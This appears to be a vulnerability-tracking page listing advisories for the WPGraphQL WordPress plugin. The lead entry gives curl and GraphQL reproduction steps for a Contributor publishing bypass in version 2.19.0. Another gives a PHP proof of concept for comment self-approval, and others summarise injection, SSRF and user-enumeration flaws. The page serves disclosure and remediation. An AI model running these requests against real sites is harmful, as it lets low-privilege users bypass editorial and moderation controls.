Where
-Infinity
0

Vendor Risk Score

See how wpgraphql compares to other vendors in security performance

View Risk Score →
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publishposts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking editpublishedposts and failing WordPress's object-level editpost capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

- Plugin: WPGraphQL - Plugin slug: wp-graphql - Confirmed affected version: 2.19.0 - Plugin URL: https://wordpress.org/plugins/wp-graphql/ - Repository: https://github.com/wp-graphql/wp-graphql - WordPress version used for testing: 7.0.2 - WPGraphQL configuration: default settings

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

- Broken access control / authorization bypass - CWE-863: Incorrect Authorization - OWASP 2021: A01 – Broken Access Control - Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level editposts capability:

php if ( ! isset( $posttypeobject->cap->editposts ) || ! currentusercan( $posttypeobject->cap->editposts ) ) { // Reject request. }

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

php currentusercan( $posttypeobject->cap->editpost, $postid )

It also does not check publishposts when the requested update changes the post status to publish. The mutation passes the requested status directly to wpupdatepost(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publishposts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

1. WPGraphQL 2.19.0 is installed and activated using its default settings. 2. The attacker controls a normal WordPress Contributor account. 3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wpgraphql/wprest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has editposts, but does not have publishposts or editpublishedposts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \ 'https://wordpress.example/graphql'

Example response:

json { "data": { "createPost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "draft" } } } }

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"status":"publish"}' \ 'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

json { "code": "restcannotpublish", "message": "Sorry, you are not allowed to publish posts.", "data": { "status": 403 } }

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \ 'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

json { "data": { "updatePost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "publish", "uri": "/contributor-publication-bypass-test/" } } } }

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

bash curl -H 'Content-Type: application/json' \ --data-binary '{"query":"query { post(id:\"21\", idType:DATABASEID) { databaseId title status uri } }"}' \ 'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack editpublishedposts. Nevertheless, the following mutation changes its title and content:

graphql mutation { updatePost(input: { id: "PUBLISHEDPOSTDATABASEID" title: "Unauthorized change after editorial approval" content: "The Contributor can replace previously approved content." }) { post { databaseId title status } } }

In live testing, the REST API returned 403 restcannotedit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

- Publish arbitrary posts without an Editor or Administrator approving them. - Publish spam, phishing, misleading, or SEO content under the attacker's account. - Modify content after an Editor has reviewed and published it. - Change the status of the attacker's previously published posts, potentially removing approved content from public view. - Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

php if ( ! isset( $posttypeobject->cap->editpost ) || ! currentusercan( $posttypeobject->cap->editpost, $postid ) ) { throw new UserError( / authorization error / ); }

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publishposts capability. Tests should cover at least:

- Contributor updating their own draft: allowed. - Contributor publishing their own draft: denied or changed to pending. - Contributor editing their own previously published post: denied. - Author publishing and editing their own post: allowed. - Contributor editing another author's post: denied.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

The WPGraphQL Smart Cache WordPress plugin before 2.3.2 does not require authorisation or validate a caller-supplied query identifier before storing a persisted query from a request, allowing unauthenticated users to publish arbitrary query documents and claim query aliases before a site's own frontend registers them.

First published (updated )
Severity
7.5
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:L

Unauthenticated SQL Injection in WPGraphQL < 2.11.1 versions.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

WordPress Plugin WPGraphQL 1.3.5 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server resources by sending batched GraphQL queries with duplicated fields. Attackers can send POST requests to the GraphQL endpoint with amplified field duplication payloads to trigger server out-of-memory conditions and MySQL connection errors.

First published (updated )
Severity
5.4
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Cross-Site Request Forgery (CSRF) vulnerability in WPGraphQL allows Cross Site Request Forgery.

This issue affects WPGraphQL: from n/a through 2.5.3.

Remedy

Update the WordPress WPGraphQL Plugin to the latest available version (at least 2.5.4).
First published (updated )
Severity
4.3
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderatecomments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress commentapproved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wpupdatecomment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

npm install npm run wp-env start

2. Run this PoC:

npm run wp-env run cli -- wp eval ' addrole("nocaps","No Caps",[]); $userid = usernameexists("pocnocaps"); if ( ! $userid ) { $userid = wpcreateuser("pocnocaps","Passw0rd!","pocnocaps@example.com"); } $user = getuserby("id",$userid); $user->setrole("nocaps");

$postid = wpinsertpost([ "posttitle" => "PoC post", "poststatus" => "publish", "posttype" => "post", "commentstatus" => "open", ]);

$commentid = wpinsertcomment([ "commentpostID" => $postid, "commentcontent" => "pending comment", "userid" => $userid, "commentauthor" => $user->displayname, "commentauthoremail" => $user->useremail, "commentapproved" => "0", ]);

wpsetcurrentuser($userid);

$result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$commentid ], ]);

echo wpjsonencode([ "rolecaps" => arraykeys(arrayfilter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "dbcommentapproved" => getcomment($commentid)->commentapproved ?? null, "commentid" => $commentid ]); '

3. Observe result:

- rolecaps is empty (or no moderatecomments) - mutation returns status: APPROVE - DB value becomes commentapproved = 1

Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

First published (updated )
Severity
6.5
SSRF
AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Impact Users with capabilities to upload media (editors and above) are succeptible to SSRF (Server-Side Request Forgery) when executing the createMediaItem Mutation.

Authenticated users making GraphQL requests that execute the createMediaItem could pass executable paths in the mutations filePath argument that could give them unwarranted access to the server.

It's recommended to update to WPGraphQL v1.14.6 or newer. If you're unable to do so, below is a snippet you can add to your functions.php (or similar) that filters the createMediaItem mutation's resolver.

Patches

- v1.14.6 - https://github.com/wp-graphql/wp-graphql/pull/2840

Workarounds If you're unable to upgrade to v1.14.6 or higher, you should be able to use the following snippet in your functions.php to override the vulnerable resolver.

This snippet has been tested as far back as WPGraphQL v0.15

php addfilter( 'graphqlpreresolvefield', function( $nil, $source, $args, $context, \GraphQL\Type\Definition\ResolveInfo $info, $typename, $fieldkey, $field, $fieldresolver ) {

if ( $info->fieldName !== 'createMediaItem' ) { return $nil; }

$input = $args['input'] ?? null;

if ( ! isset( $input['filePath'] ) ) { return $nil; }

$uploadedfileurl = $input['filePath'];

// Check that the filetype is allowed $checkfile = wpcheckfiletype( $uploadedfileurl );

// if the file doesn't pass the check, throw an error if ( ! $checkfile['ext'] || ! $checkfile['type'] || ! wphttpvalidateurl( $uploadedfileurl ) ) { throw new \GraphQL\Error\UserError( sprintf( ( 'Invalid filePath "%s"', 'wp-graphql' ), $input['filePath'] ) ); }

$protocol = wpparseurl( $input['filePath'], PHPURLSCHEME );

// prevent the filePath from being submitted with a non-allowed protocols $allowedprotocols = [ 'https', 'http', 'file' ];

if ( ! inarray( $protocol, $allowedprotocols, true ) ) { throw new \GraphQL\Error\UserError( sprintf( ( 'Invalid protocol. "%1$s". Only "%2$s" allowed.', 'wp-graphql' ), $protocol, implode( '", "', $allowedprotocols ) ) ); }

return $nil;

}, 10, 9 );

References

- https://patchstack.com/database/vulnerability/wp-graphql/wordpress-wp-graphql-plugin-1-14-5-server-side-request-forgery-ssrf-vulnerability

1 / 2

Remedy

Update to 1.14.6 or a higher version.
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

The WPGraphQL WordPress plugin before 0.3.5 doesn't properly restrict access to information about other users' roles on the affected site. Because of this, a remote attacker could forge a GraphQL query to retrieve the account roles of every user on the site.

First published (updated )
Severity
5.3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.

First published (updated )
Severity
9.1
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

An issue was discovered in the WPGraphQL 0.2.3 plugin for WordPress. By querying the 'users' RootQuery, it is possible, for an unauthenticated attacker, to retrieve all WordPress users details such as email address, role, and username.

First published (updated )
Severity
9.8
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203